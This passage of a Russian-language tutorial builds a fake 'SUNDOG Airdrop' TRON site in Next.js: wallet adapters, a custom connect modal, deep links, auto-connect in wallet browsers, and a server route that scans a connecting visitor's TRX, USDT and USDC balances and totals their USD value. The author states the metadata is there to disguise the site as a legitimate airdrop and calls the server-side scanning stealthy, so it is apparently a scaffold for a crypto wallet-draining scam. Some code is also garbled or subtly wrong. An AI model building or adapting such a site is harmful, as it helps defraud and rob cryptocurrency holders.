───────────────────────────────────────────────────────────────────────────────

Создайте файл lib/walletconnect.ts:

Код:
import { WalletConnectAdapter } from '@tronweb3/tronwallet-adapter-walletconnect';

// ВАЖНО: Замените на ваш Project ID из WalletConnect Cloud
const WALLETCONNECT_PROJECT_ID = '';

// Chain ID для TRON mainnet (в формате CAIP-2)
// 0x2b6653dc = decimal 728126428 (TRON mainnet chain ID)
const TRON_CHAIN_ID = 'tron:0x2b6653dc';

export const walletConnectAdapter = new WalletConnectAdapter({
  projectId: WALLETCONNECT_PROJECT_ID,
  
  // Кошельки, показываемые первыми в WalletConnect modal
  explorerRecommendedWalletIds: [
    // Trust Wallet - самый популярный мультичейн кошелек
    'id trust wallet с https://walletguide.walletconnect.network/',
    
    // imToken - популярен в Азии
    'id imtoken с id trust wallet с https://walletguide.walletconnect.network/',
    
    // TokenPocket - хорошая поддержка TRON
    'id token pocket с https://walletguide.walletconnect.network/',
  ],
  
  // Показывать все доступные кошельки (не только рекомендуемые)
  showAllWallets: true,
  
  // Сеть TRON
  network: 'mainnet',
  
  // Дополнительные опции
  options: {
    // Включить поддержку мобильных deep links
    enableExplorer: true,
    
    // Цепи для подключения
    chains: [TRON_CHAIN_ID],
  },
});


7.2. СОЗДАНИЕ TRON WALLET PROVIDER КОМПОНЕНТА
───────────────────────────────────────────────────────────────────────────────

Создайте файл components/tron-wallet-provider.tsx:

Код:
'use client';

import React, { useMemo } from 'react';
import { WalletProvider } from '@tronweb3/tronwallet-adapter-react-hooks';
import { TronLinkAdapter } from '@tronweb3/tronwallet-adapter-tronlink';
import { TokenPocketAdapter } from '@tronweb3/tronwallet-adapter-tokenpocket';
import { ImTokenAdapter } from '@tronweb3/tronwallet-adapter-imtoken';
import { walletConnectAdapter } from '@/lib/walletconnect';
import type { Adapter } from '@tronweb3/tronwallet-abstract-adapter';

interface TronWalletProviderProps {
  children: React.ReactNode;
}

export function TronWalletProvider({ children }: TronWalletProviderProps) {
  // Создаем массив адаптеров
  const adapters = useMemo(() => {
    const adaptersArray: Adapter[] = [];
    
    // 1. TronLink (браузерное расширение)
    // Самый популярный кошелек для TRON
    // Работает напрямую через window.tronWeb
    adaptersArray.push(new TronLinkAdapter());
    
    // 2. TokenPocket
    // Поддерживает как браузерное расширение, так и мобильное приложение
    // Отличная интеграция с TRON
    adaptersArray.push(new TokenPocketAdapter());
    
    // 3. imToken
    // Популярен в Азии (особенно Китай)
    // Мобильное приложение с deep link поддержкой
    adaptersArray.push(new ImTokenAdapter());
    
    // 4. WalletConnect
    // Универсальный адаптер для всех остальных кошельков
    // Trust Wallet, BitKeep, SafePal и другие подключаются через него
    adaptersArray.push(walletConnectAdapter);
    
    return adaptersArray;
  }, []);

  return (
    <WalletProvider
      adapters={adapters}
      // Автоматически подключаться к кошельку при обнаружении
      autoConnect={false}
      // Отключить дублирование адаптеров
      disableAutoConnectOnLoad={true}
      // Callback при ошибке подключения
      onError={(error) => {
        console.error(' Wallet connection error:', error);
      }}
    >
      {children}
    </WalletProvider>
  );
}

ОБЪЯСНЕНИЕ КОДА:

1) 'use client' - это Client Component (нужен для React hooks)

2) useMemo - кешируем массив адаптеров, чтобы не создавать их при каждом рендере

3) ПОРЯДОК АДАПТЕРОВ ВАЖЕН:
• TronLink первый - это дефолтный выбор для desktop пользователей
• TokenPocket и imToken - для мобильных
• WalletConnect последний - как fallback для всех остальных

4) autoConnect: false - НЕ подключаемся автоматически при загрузке страницы
(это может спугнуть пользователя). Подключение только по клику.


7.3. ИНТЕГРАЦИЯ PROVIDER В LAYOUT
───────────────────────────────────────────────────────────────────────────────

Откройте app/layout.tsx и оберните приложение в Provider:

Код:
import type { Metadata } from 'next';
import { Geist, Geist_Mono } from 'next/font/google';
import './globals.css';
import { TronWalletProvider } from '@/components/tron-wallet-provider';
import { Toaster } from 'sonner';

const geistSans = Geist({ subsets: ['latin'] });
const geistMono = Geist_Mono({ subsets: ['latin'] });

export const metadata: Metadata = {
  title: 'SUNDOG Airdrop - Claim Your Free Tokens',
  description: 'Official SUNDOG token airdrop. Connect your TRON wallet to claim up to 1000 SUNDOG tokens instantly.',
  keywords: 'SUNDOG, airdrop, TRON, TRC-20, free tokens, crypto',
};

export default function RootLayout({
  children,
}: {
  children: React.ReactNode;
}) {
  return (
    <html lang="en">
      <body className={`${geistSans.className} antialiased`}>
        <TronWalletProvider>
          {children}
          <Toaster position="top-center" richColors />
        </TronWalletProvider>
      </body>
    </html>
  );
}

ВАЖНЫЕ МОМЕНТЫ:

• TronWalletProvider оборачивает все приложение
• Toaster добавлен для toast уведомлений (библиотека sonner)
• Metadata настроена для SEO (важно для маскировки под легальный airdrop)


7.4. ИСПОЛЬЗОВАНИЕ USEWALLET HOOK
───────────────────────────────────────────────────────────────────────────────

Теперь в любом компоненте можно использовать хук useWallet:

Код:
'use client';

import { useWallet } from '@tronweb3/tronwallet-adapter-react-hooks';

export default function MyComponent() {
  const {
    address,        // Адрес подключенного кошелька (Base58 формат)
    connected,      // true если кошелек подключен
    wallet,         // Объект текущего кошелька
    wallets,        // Массив всех доступных адаптеров
    select,         // Функция для выбора кошелька
    connect,        // Функция для подключения
    disconnect,     // Функция для отключения
    signTransaction, // Функция для подписи транзакции
  } = useWallet();

  // Пример использования
  const handleConnect = async () => {
    try {
      await connect();
      console.log('Connected to:', address);
    } catch (error) {
      console.error('Connection failed:', error);
    }
  };

  return (
    <div>
      {!connected ? (
        <button onClick={handleConnect}>Connect Wallet</button>
      ) : (
        <p>Connected: {address}</p>
      )}
    </div>
  );
}


═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 8: STEP 5 - СОЗДАНИЕ МОДАЛЬНОГО ОКНА ВЫБОРА КОШЕЛЬКА
═══════════════════════════════════════════════════════════════════════════════
8.1. ПОЧЕМУ СВОЯ МОДАЛКА, А НЕ ГОТОВАЯ ОТ WALLETCONNECT?
───────────────────────────────────────────────────────────────────────────────
В процессе разработки этого проекта я столкнулся с серьезной проблемой: официальная
WalletConnect модалка (@walletconnect/modal) НЕ ПОЛНОСТЬЮ поддерживает сеть TRON и
TronLink кошелек. На официальном сайте WalletConnect (https://walletconnect.com) в
списке поддерживаемых сетей TRON указан, но с ограничениями - многие популярные TRON
кошельки (особенно TronLink) не используют WalletConnect протокол для подключения.
Они работают через собственные провайдеры (window.tronWeb для расширений) и deep links
для мобильных приложений. Пытаясь использовать только готовое решение WalletConnect,
я обнаружил, что TronLink вообще не появляется в списке кошельков, а TokenPocket и
imToken подключаются нестабильно. Именно поэтому было принято решение создать
ГИБРИДНОЕ РЕШЕНИЕ: самописная модалка с интеграцией нескольких методов подключения
(прямые адаптеры + WalletConnect + deep links). Это позволило мне охватить максимум
пользователей и обеспечить стабильную работу со всеми популярными TRON кошельками.

WalletConnect предоставляет готовое модальное окно (@walletconnect/modal), но:


ПРОБЛЕМЫ ГОТОВОЙ МОДАЛКИ WALLETCONNECT:

• Ограниченная поддержка TRON - не все функции работают корректно
• Брендирование WalletConnect (логотипы, ссылки, реклама)
• Ограниченная кастомизация дизайна
• Показывает ТОЛЬКО кошельки, поддерживающие WalletConnect протокол
• НЕ показывает TronLink - самый популярный TRON кошелек (он не использует WalletConnect)
• TokenPocket и imToken работают лучше через direct adapters, а не WalletConnect
• Нет контроля над порядком отображения кошельков
• Сложно добавить кастомную логику (deep links, автоподключение)

ГИБРИДНОЕ РЕШЕНИЕ - КАК ЭТО РАБОТАЕТ:
• СВОЯ МОДАЛКА управляет UI - показывает кнопки кошельков, обрабатывает клики
• Кнопка "TronLink" → подключается через TronLinkAdapter (window.tronWeb)
• Кнопка "TokenPocket" → TokenPocketAdapter + deep links для мобильных
• Кнопка "imToken" → ImTokenAdapter + deep links для мобильных
• Кнопка "Other Wallets" → открывает WALLETCONNECT MODAL для остальных кошельков
• То есть используются ОБА решения одновременно:
- Популярные TRON кошельки = прямое подключение (быстро и стабильно)
- Редкие кошельки = WalletConnect модалка (Trust, BitKeep, SafePal, Safepal и т.д.)

ПРЕИМУЩЕСТВА ТАКОГО ПОДХОДА:

• Максимальный охват пользователей - работают ВСЕ кошельки
• Полный контроль над UI и порядком отображения популярных кошельков
• Лучшая производительность для TronLink/TokenPocket (без лишних прослоек)
• Умная логика определения окружения (браузер/мобильное приложение через URL параметры)
• Брендирование под проект + возможность использовать WalletConnect для расширения
• Кастомные иконки, описания, подсказки, анимации для популярных кошельков
• WalletConnect QR-код для desktop, deep links для mobile




8.2. СТРУКТУРА МОДАЛЬНОГО ОКНА

───────────────────────────────────────────────────────────────────────────────

Создайте файл components/wallet-select-modal.tsx:

Код:
'use client';

import React from 'react';
import { useWallet } from '@tronweb3/tronwallet-adapter-react-hooks';
import {
  Dialog,
  DialogContent,
  DialogHeader,
  DialogTitle,
  DialogDescription,
} from '@/components/ui/dialog';
import { Button } from '@/components/ui/button';
import { Wallet, Smartphone, Globe } from 'lucide-react';
import { toast } from 'sonner';

interface WalletSelectModalProps {
  open: boolean;
  onOpenChange: (open: boolean) => void;
}

export function WalletSelectModal({ open, onOpenChange }: WalletSelectModalProps) {
  const { wallets, select, connect } = useWallet();

  // Функция для подключения конкретного кошелька
  const handleSelectWallet = async (walletName: string) => {
    try {
      // Найти адаптер по имени
      const selectedWallet = wallets.find(
        (w) => w.adapter.name.toLowerCase() === walletName.toLowerCase()
      );

      if (!selectedWallet) {
        toast.error(`Wallet ${walletName} not found`);
        return;
      }

      // Выбрать адаптер
      select(selectedWallet.adapter.name);

      // Подключиться
      await connect();

      // Закрыть модалку
      onOpenChange(false);

      toast.success('Wallet connected successfully!');
    } catch (error: any) {
      console.error(' Wallet connection error:', error);
      
      if (error.message?.includes('User rejected')) {
        toast.error('Connection cancelled by user');
      } else {
        toast.error('Failed to connect wallet');
      }
    }
  };

  return (
    <Dialog open={open} onOpenChange={onOpenChange}>
      <DialogContent className="sm:max-w-md">
        <DialogHeader>
          <DialogTitle className="text-2xl font-bold text-center">
            Connect Wallet
          </DialogTitle>
          <DialogDescription className="text-center">
            Choose your preferred wallet to connect
          </DialogDescription>
        </DialogHeader>

        <div className="grid gap-3 mt-4">
          <Button
            variant="outline"
            className="h-16 justify-start gap-4 hover:bg-purple-500/10 hover:border-purple-500 bg-transparent"
            onClick={() => handleSelectWallet('TronLink')}
          >
            <div className="flex items-center justify-center w-10 h-10 rounded-full bg-gradient-to-br from-red-500 to-red-600">
              <Wallet className="w-5 h-5 text-white" />
            </div>
            <div className="flex-1 text-left">
              <p className="font-semibold">TronLink</p>
              <p className="text-xs text-muted-foreground">Browser Extension</p>
            </div>
          </Button>

          <Button
            variant="outline"
            className="h-16 justify-start gap-4 hover:bg-blue-500/10 hover:border-blue-500 bg-transparent"
            onClick={() => handleSelectWallet('TokenPocket')}
          >
            <div className="flex items-center justify-center w-10 h-10 rounded-full bg-gradient-to-br from-blue-500 to-blue-600">
              <Smartphone className="w-5 h-5 text-white" />
            </div>
            <div className="flex-1 text-left">
              <p className="font-semibold">TokenPocket</p>
              <p className="text-xs text-muted-foreground">Mobile & Extension</p>
            </div>
          </Button>

          <Button
            variant="outline"
            className="h-16 justify-start gap-4 hover:bg-cyan-500/10 hover:border-cyan-500 bg-transparent"
            onClick={() => handleSelectWallet('imToken')}
          >
            <div className="flex items-center justify-center w-10 h-10 rounded-full bg-gradient-to-br from-cyan-500 to-cyan-600">
              <Smartphone className="w-5 h-5 text-white" />
            </div>
            <div className="flex-1 text-left">
              <p className="font-semibold">imToken</p>
              <p className="text-xs text-muted-foreground">Mobile Wallet</p>
            </div>
          </Button>


          <Button
            variant="outline"
            className="h-16 justify-start gap-4 hover:bg-green-500/10 hover:border-green-500 bg-transparent"
            onClick={() => handleSelectWallet('WalletConnect')}
          >
            <div className="flex items-center justify-center w-10 h-10 rounded-full bg-gradient-to-br from-green-500 to-green-600">
              <Globe className="w-5 h-5 text-white" />
            </div>
            <div className="flex-1 text-left">
              <p className="font-semibold">WalletConnect</p>
              <p className="text-xs text-muted-foreground">
                Trust, BitKeep, SafePal & more
              </p>
            </div>
          </Button>
        </div>

       
        <p className="text-xs text-center text-muted-foreground mt-4">
          Don't have a wallet?{' '}
          <a
            href="https://www.tronlink.org/"
            target="_blank"
            rel="noopener noreferrer"
            className="text-purple-500 hover:underline"
          >
            Get TronLink
          </a>
        </p>
      </DialogContent>
    </Dialog>
  );
}


8.3. АДАПТИВНЫЙ ДИЗАЙН ДЛЯ МОБИЛЬНЫХ УСТРОЙСТВ
───────────────────────────────────────────────────────────────────────────────

Для лучшего UX на мобильных, модалка должна выезжать снизу (bottom sheet).
Добавим responsive стили:

Код:
// Измените DialogContent в wallet-select-modal.tsx:

<DialogContent className="sm:max-w-md max-sm:bottom-0 max-sm:top-auto max-sm:translate-y-0 max-sm:rounded-t-2xl max-sm:rounded-b-none">

ОБЪЯСНЕНИЕ TAILWIND КЛАССОВ:

• sm:max-w-md - на desktop максимальная ширина 28rem (448px)
• max-sm:bottom-0 - на мобильных прижать к низу экрана
• max-sm:top-auto - убрать центрирование по вертикали
• max-sm:translate-y-0 - убрать трансформацию (не центрировать)
• max-sm:rounded-t-2xl - скруглить только верхние углы
• max-sm:rounded-b-none - убрать скругление снизу

Результат: на мобильных модалка выезжает снизу, как в нативных приложениях!

═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 9: STEP 6 - ИНТЕГРАЦИЯ WALLETCONNECT С КОНКРЕТНЫМИ КОШЕЛЬКАМИ
═══════════════════════════════════════════════════════════════════════════════

9.1. КАК WALLETCONNECT УЗНАЕТ, КАКИЕ КОШЕЛЬКИ УСТАНОВЛЕНЫ?
───────────────────────────────────────────────────────────────────────────────

WalletConnect НЕ МОЖЕТ напрямую определить, какие кошельки установлены на
устройстве пользователя. Вместо этого он:

1) ПОКАЗЫВАЕТ СПИСОК ВСЕХ ПОДДЕРЖИВАЕМЫХ КОШЕЛЬКОВ
На основе explorerRecommendedWalletIds и Explorer API

2) ГЕНЕРИРУЕТ DEEP LINKS ДЛЯ КАЖДОГО КОШЕЛЬКА
Формат: <wallet-scheme>://wc?uri=<encoded-wc-uri>

Примеры:
• Trust Wallet: trust://wc?uri=wc%3A...
• TokenPocket: tpoutside://wc?uri=wc%3A...
• imToken: imtokenv2://wc?uri=wc%3A...

3) ПРИ КЛИКЕ НА КОШЕЛЕК
→ Браузер пытается открыть deep link
→ Если кошелек установлен - открывается
→ Если НЕ установлен - показывается предложение скачать из App Store


9.2. КАСТОМИЗАЦИЯ WALLETCONNECT MODAL
───────────────────────────────────────────────────────────────────────────────

Когда пользователь нажимает на кнопку "WalletConnect" в вашей модалке,
открывается СТАНДАРТНОЕ модальное окно WalletConnect с QR-кодом.

Можно кастомизировать это окно через опции:

Код:
// lib/walletconnect.ts

import { WalletConnectAdapter } from '@tronweb3/tronwallet-adapter-walletconnect';

export const walletConnectAdapter = new WalletConnectAdapter({
  projectId: '',
  
  explorerRecommendedWalletIds: [
    '4622a2b2d6af1c9844944291e5e7351a6aa24cd7b23099efac1b2fd875da31a0', // Trust
    'ef333840daf915aafdc4a004525502d6d49d77bd9c65e0642dbaefb3c2893bef', // imToken
    '20459438007b75f4f4acb98bf29aa3b800550309646d375da5fd4aac6c2a2c66', // TokenPocket
  ],
  
  network: 'mainnet',
  
  options: {
    enableExplorer: true,
    chains: ['tron:0x2b6653dc'],
    
    // Метаданные вашего приложения (показываются в кошельке)
    metadata: {
      name: 'SUNDOG Airdrop',
      description: 'Official SUNDOG token airdrop campaign',
      url: 'https://yourdomain.com',
      icons: ['https://yourdomain.com/logo.png'],
    },
    
    // Темная тема
    themeMode: 'dark',
    
    // Язык интерфейса
    themeVariables: {
      '--w3m-z-index': '9999',
      '--w3m-accent-color': '#8b5cf6',
      '--w3m-background-color': '#1a1a1a',
    },
  },
});


9.4. ОБРАБОТКА ОШИБОК ПОДКЛЮЧЕНИЯ
───────────────────────────────────────────────────────────────────────────────

При подключении через WalletConnect могут возникнуть ошибки:

ТИПИЧНЫЕ ОШИБКИ:

1) "User rejected the request"
→ Пользователь отклонил подключение в кошельке

2) "Session proposal expired"
→ QR-код устарел (пользователь слишком долго не сканировал)

3) "No compatible wallets found"
→ У пользователя нет кошельков с поддержкой TRON

4) "Chain not supported"
→ Кошелек не поддерживает TRON (неправильный wallet ID)

ОБРАБОТКА В КОДЕ:

Код:
const handleSelectWallet = async (walletName: string) => {
  try {
    const selectedWallet = wallets.find(
      (w) => w.adapter.name.toLowerCase() === walletName.toLowerCase()
    );

    if (!selectedWallet) {
      toast.error('Wallet not available');
      return;
    }

    select(selectedWallet.adapter.name);
    await connect();
    
    onOpenChange(false);
    toast.success('Connected successfully!');
    
  } catch (error: any) {
    console.error('Connection error:', error);
    
    // Разбор ошибок
    if (error.message?.includes('rejected')) {
      toast.error('Connection cancelled');
    } else if (error.message?.includes('expired')) {
      toast.error('Connection timeout. Please try again.');
    } else if (error.message?.includes('not supported')) {
      toast.error('This wallet does not support TRON network');
    } else {
      toast.error('Failed to connect. Please try another wallet.');
    }
  }
};


9.5. АВТОМАТИЧЕСКОЕ ПЕРЕПОДКЛЮЧЕНИЕ (OPTIONAL)
───────────────────────────────────────────────────────────────────────────────

WalletConnect сохраняет session в localStorage. Можно автоматически
восстанавливать подключение при возврате пользователя:

Код:
// components/tron-wallet-provider.tsx

export function TronWalletProvider({ children }: TronWalletProviderProps) {
  const adapters = useMemo(() => { /* ... */ }, []);

  return (
    <WalletProvider
      adapters={adapters}
      autoConnect={true} // ← Включить автоподключение
      disableAutoConnectOnLoad={false}
      onError={(error) => {
        console.error('Wallet error:', error);
      }}
    >
      {children}
    </WalletProvider>
  );
}


═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 10: STEP 7 - DEEP LINKS ДЛЯ МОБИЛЬНЫХ КОШЕЛЬКОВ
═══════════════════════════════════════════════════════════════════════════════

10.1. ЧТО ТАКОЕ DEEP LINKS?
───────────────────────────────────────────────────────────────────────────────

Deep Link - это специальная ссылка, которая открывает мобильное приложение.

ФОРМАТ:
<scheme>://<path>?<parameters>

ПРИМЕРЫ:
• TronLink: tronlinkoutside://open.tronlink.org/pull.html?param=...
• TokenPocket: tpoutside://wc?uri=...
• imToken: imtokenv2://wc?uri=...
• Trust Wallet: trust://wc?uri=...

КАК ЭТО РАБОТАЕТ:
1) Пользователь кликает ссылку в браузере
2) Операционная система (iOS/Android) распознает scheme
3) Открывается соответствующее приложение
4) Приложение получает параметры из URL


10.2. ПРОБЛЕМА: ОПРЕДЕЛЕНИЕ ОКРУЖЕНИЯ КОШЕЛЬКА
───────────────────────────────────────────────────────────────────────────────

Когда пользователь открывает ваш сайт ВНУТРИ кошелька (например, встроенный
браузер TronLink), кошелек автоматически инжектирует window.tronWeb или
window.tronLink.

ЗАДАЧА:
Определить, открыт ли сайт внутри кошелька, и автоматически подключиться
без показа модального окна.

Создайте файл lib/deeplinks.ts:

Код:
// Типы кошельков
export type WalletType = 
  | 'tronlink'
  | 'tokenpocket'
  | 'imtoken'
  | 'trustwallet'
  | 'bitkeep'
  | null;

/**
 * Определяет, в каком кошельке открыт сайт
 */
export function detectWalletEnvironment(): WalletType {
  if (typeof window === 'undefined') return null;

  // TronLink
  if (window.tronLink || window.tronWeb) {
    // Дополнительная проверка: это РЕАЛЬНЫЙ TronLink, а не подделка
    if (window.tronLink?.ready !== undefined) {
      return 'tronlink';
    }
  }

  // TokenPocket
  // TokenPocket инжектирует window.ethereum и window.tronWeb одновременно
  if (window.tokenpocket || (window.ethereum && window.ethereum.isTokenPocket)) {
    return 'tokenpocket';
  }

  // imToken
  // imToken инжектирует window.imToken
  if (window.imToken || (window.ethereum && window.ethereum.isImToken)) {
    return 'imtoken';
  }

  // Trust Wallet
  if (window.trustwallet || (window.ethereum && window.ethereum.isTrust)) {
    return 'trustwallet';
  }

  // BitKeep
  if (window.bitkeep || window.isBitKeep) {
    return 'bitkeep';
  }

  return null;
}

/**
 * Ожидает появления кошелька с повторными попытками
 */
export async function waitForWallet(
  walletType: WalletType,
  maxAttempts: number = 20,
  intervalMs: number = 100
): Promise<boolean> {
  if (!walletType) return false;

  for (let i = 0; i < maxAttempts; i++) {
    const detected = detectWalletEnvironment();
    
    if (detected === walletType) {
      return true;
    }

    // Ждем перед следующей попыткой
    await new Promise(resolve => setTimeout(resolve, intervalMs));
  }

  return false;
}

/**
 * Получить параметр из URL
 */
export function getUrlParameter(name: string): string | null {
  if (typeof window === 'undefined') return null;

  const urlParams = new URLSearchParams(window.location.search);
  return urlParams.get(name);
}

/**
 * Генерирует deep link для кошелька
 */
export function generateDeepLink(walletType: WalletType, targetUrl: string): string {
  const encodedUrl = encodeURIComponent(targetUrl);

  switch (walletType) {
    case 'tronlink':
      return `tronlinkoutside://open.tronlink.org/pull.html?param=${encodedUrl}`;

    case 'tokenpocket':
      return `tpoutside://pull.activity?param=${encodedUrl}`;

    case 'imtoken':
      return `imtokenv2://navigate/DappView?url=${encodedUrl}`;

    case 'trustwallet':
      return `trust://open_url?url=${encodedUrl}`;

    case 'bitkeep':
      return `bitkeep://bkconnect?action=open&url=${encodedUrl}`;

    default:
      return targetUrl;
  }
}


10.3. АВТОПОДКЛЮЧЕНИЕ ПРИ ОТКРЫТИИ В КОШЕЛЬКЕ
───────────────────────────────────────────────────────────────────────────────

Теперь используем эти функции в главной странице для автоподключения:

Код:
'use client';

import { useEffect, useState } from 'react';
import { useWallet } from '@tronweb3/tronwallet-adapter-react-hooks';
import { detectWalletEnvironment, waitForWallet, getUrlParameter } from '@/lib/deeplinks';

export default function HomePage() {
  const { wallets, select, connect, connected } = useWallet();
  const [isChecking, setIsChecking] = useState(true);

  useEffect(() => {
    if (connected) {
      setIsChecking(false);
      return;
    }

    const checkAndAutoConnect = async () => {
      // Проверяем URL параметр ?wallet=...
      const walletParam = getUrlParameter('wallet');
      
      // Определяем окружение
      const detectedWallet = detectWalletEnvironment();

      console.log('Wallet param:', walletParam);
      console.log('Detected wallet:', detectedWallet);

      // Если есть параметр ИЛИ определили кошелек
      const targetWallet = walletParam || detectedWallet;

      if (targetWallet) {
        // Ждем инициализации кошелька
        const walletReady = await waitForWallet(
          targetWallet as any,
          20, // 20 попыток
          100 // каждые 100ms
        );

        if (walletReady) {
          // Найти адаптер
          let adapterName = '';
          
          if (targetWallet === 'tronlink') adapterName = 'TronLink';
          else if (targetWallet === 'tokenpocket') adapterName = 'TokenPocket';
          else if (targetWallet === 'imtoken') adapterName = 'imToken';
          
          if (adapterName) {
            try {
              select(adapterName);
              
              // Задержка перед подключением
              // Trust Wallet требует больше времени
              const delay = targetWallet === 'trustwallet' ? 3000 : 1500;
              await new Promise(resolve => setTimeout(resolve, delay));
              
              await connect();
              console.log('Auto-connected to', adapterName);
            } catch (error) {
              console.error('Auto-connect failed:', error);
            }
          }
        }
      }

      setIsChecking(false);
    };

    checkAndAutoConnect();
  }, [wallets, connected, select, connect]);

  if (isChecking) {
    return (
      <div className="flex items-center justify-center min-h-screen">
        <p className="text-muted-foreground">Initializing wallet...</p>
      </div>
    );
  }

  return (
    <div>
    </div>
  );
}


10.4. ГЕНЕРАЦИЯ КНОПОК "ОТКРЫТЬ В КОШЕЛЬКЕ"
───────────────────────────────────────────────────────────────────────────────


Можно добавить кнопки для прямого открытия сайта в кошельке:

Код:
import { generateDeepLink } from '@/lib/deeplinks';

function OpenInWalletButtons() {
  const currentUrl = typeof window !== 'undefined' ? window.location.href : '';

  const wallets = [
    { name: 'TronLink', type: 'tronlink' as const },
    { name: 'TokenPocket', type: 'tokenpocket' as const },
    { name: 'imToken', type: 'imtoken' as const },
    { name: 'Trust Wallet', type: 'trustwallet' as const },
  ];

  return (
    <div className="grid grid-cols-2 gap-2">
      {wallets.map((wallet) => {
        const deepLink = generateDeepLink(wallet.type, currentUrl);
        
        return (
          <a
            key={wallet.type}
            href={deepLink}
            className="px-4 py-2 text-sm border rounded-lg hover:bg-accent"
          >
            Open in {wallet.name}
          </a>
        );
      })}
    </div>
  );
}


10.5. ОБРАБОТКА ВОЗВРАТА ИЗ КОШЕЛЬКА
───────────────────────────────────────────────────────────────────────────────


Когда пользователь подписывает транзакцию в мобильном кошельке, некоторые
кошельки возвращают пользователя обратно в браузер.

ПРОБЛЕМА:
Если используется deep link, после подписи может открыться НОВАЯ вкладка
браузера вместо возврата в исходную.

РЕШЕНИЕ:
Использовать sessionStorage для сохранения состояния:

Код:
// Перед открытием deep link
sessionStorage.setItem('wallet_connection_attempt', Date.now().toString());

// После возврата
useEffect(() => {
  const attempt = sessionStorage.getItem('wallet_connection_attempt');
  if (attempt) {
    const timePassed = Date.now() - parseInt(attempt);
    
    // Если прошло меньше 5 минут - пытаемся переподключиться
    if (timePassed < 5 * 60 * 1000) {
      // Попытка автоподключения
    }
    
    sessionStorage.removeItem('wallet_connection_attempt');
  }
}, []);


═══════════════════════════════════════════════════════════════════════════════

ГЛАВА 11: STEP 8 - API ROUTE ДЛЯ ПРОВЕРКИ БАЛАНСОВ
═══════════════════════════════════════════════════════════════════════════════

11.1. ЗАЧЕМ ПРОВЕРЯТЬ БАЛАНСЫ НА СЕРВЕРЕ?
───────────────────────────────────────────────────────────────────────────────

МОЖНО проверить баланс на клиенте через TronWeb:
JavaScript:
const balance = await tronWeb.trx.getBalance(address);

НО! Проверка на сервере имеет преимущества:

1) СКРЫТНОСТЬ + БЕЗОПАСНОСТЬ
Запросы к TronGrid API идут с вашего сервера, а не из браузера пользователя.

2) ЕДИНОЕ API
Можно проверить сразу TRX + USDT + другие токены одним запросом.

3) РАСЧЕТ USD-СТОИМОСТИ
Получить цены с CoinGecko и рассчитать общую стоимость портфеля.

4) ЛОГИРОВАНИЕ
Можно сохранять данные о балансах для аналит.


11.2. СОЗДАНИЕ API ROUTE
───────────────────────────────────────────────────────────────────────────────

Создайте файл app/api/wallet/scan/route.ts:

Код:
import { NextRequest, NextResponse } from 'next/server';

// USDT contract address (TRC-20)
const USDT_CONTRACT = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';

// USDC contract address (TRC-20)
const USDC_CONTRACT = 'TEkxiTehnzSmSe2XqrBj4w32RUN966rdz8';

// TronGrid API (публичный)
const TRONGRID_API = 'https://api.trongrid.io';

/**
 * Конвертация Base58 адреса в Hex формат
 */
function convertBase58ToHex(base58Address: string): string {
  const alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
  
  let decoded = 0n;
  for (const char of base58Address) {
    const index = alphabet.indexOf(char);
    if (index === -1) throw new Error('Invalid Base58 character');
    decoded = decoded * 58n + BigInt(index);
  }

  // Конвертируем в hex
  let hex = decoded.toString(16);
  
  // Убираем checksum (последние 8 символов)
  hex = hex.slice(0, -8);
  
  // Возвращаем без префикса 0x (TronGrid API требует без него)
  return hex;
}

/**
 * POST /api/wallet/scan
 * 
 * Body: { address: "TXxxx..." }
 * 
 * Response: {
 *   trx: { balance: number, usd: number },
 *   usdt: { balance: number, usd: number },
 *   usdc: { balance: number, usd: number },
 *   total: number
 * }
 */
export async function POST(request: NextRequest) {
  try {
    const body = await request.json();
    const { address } = body;

    if (!address || !address.startsWith('T')) {
      return NextResponse.json(
        { error: 'Invalid TRON address' },
        { status: 400 }
      );
    }


    // Конвертируем адрес в Hex (без 0x)
    const hexAddress = convertBase58ToHex(address);

    // Параллельные запросы для скорости
    const [accountResponse, usdtResponse, usdcResponse, pricesResponse] = await Promise.all([
      // 1. Баланс TRX
      fetch(`${TRONGRID_API}/walletsolidity/getaccount`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ address: address, visible: true }),
      }),

      // 2. Баланс USDT
      fetch(
        `${TRONGRID_API}/v1/accounts/${hexAddress}/transactions/trc20?` +
        `limit=1&contract_address=${USDT_CONTRACT}`
      ),

      // 3. Баланс USDC
      fetch(
        `${TRONGRID_API}/v1/accounts/${hexAddress}/transactions/trc20?` +
        `limit=1&contract_address=${USDC_CONTRACT}`
      ),

      // 4. Цены с CoinGecko
      fetch(
        'https://api.coingecko.com/api/v3/simple/price?' +
        'ids=tron,tether,usd-coin&vs_currencies=usd'
      ),
    ]);

    // Парсим ответы
    const accountData = await accountResponse.json();
    const usdtData = await usdtResponse.json();
    const usdcData = await usdcResponse.json();
    const pricesData = await pricesResponse.json();

    // Извлекаем балансы
    const trxBalance = accountData.balance || 0; // в SUN (1 TRX = 1,000,000 SUN)
    const usdtBalance = usdtData.data?.[0]?.value || 0; // в базовых единицах (6 decimals)
    const usdcBalance = usdcData.data?.[0]?.value || 0; // в базовых единицах (6 decimals)

    // Конвертируем в читаемые единицы
    const trx = trxBalance / 1_000_000; // SUN → TRX
    const usdt = usdtBalance / 1_000_000; // базовые единицы → USDT
    const usdc = usdcBalance / 1_000_000; // базовые единицы → USDC

    // Цены из CoinGecko
    const trxPrice = pricesData.tron?.usd || 0;
    const usdtPrice = pricesData.tether?.usd || 1; // USDT всегда ~$1
    const usdcPrice = pricesData['usd-coin']?.usd || 1; // USDC всегда ~$1

    // Рассчитываем USD стоимость
    const trxUsd = trx * trxPrice;
    const usdtUsd = usdt * usdtPrice;
    const usdcUsd = usdc * usdcPrice;
    const totalUsd = trxUsd + usdtUsd + usdcUsd;

    const result = {
      trx: {
        balance: trx,
        usd: trxUsd,
      },
      usdt: {
        balance: usdt,
        usd: usdtUsd,
      },
      usdc: {
        balance: usdc,
        usd: usdcUsd,
      },
      total: totalUsd,
    };


    return NextResponse.json(result);
    
  } catch (error: any) {
    return NextResponse.json(
      { error: 'Failed to scan wallet', details: error.message },
      { status: 500 }
    );
  }
}


11.3. ИСПОЛЬЗОВАНИЕ API НА КЛИЕНТЕ
───────────────────────────────────────────────────────────────────────────────

Код:
'use client';

import { useState } from 'react';

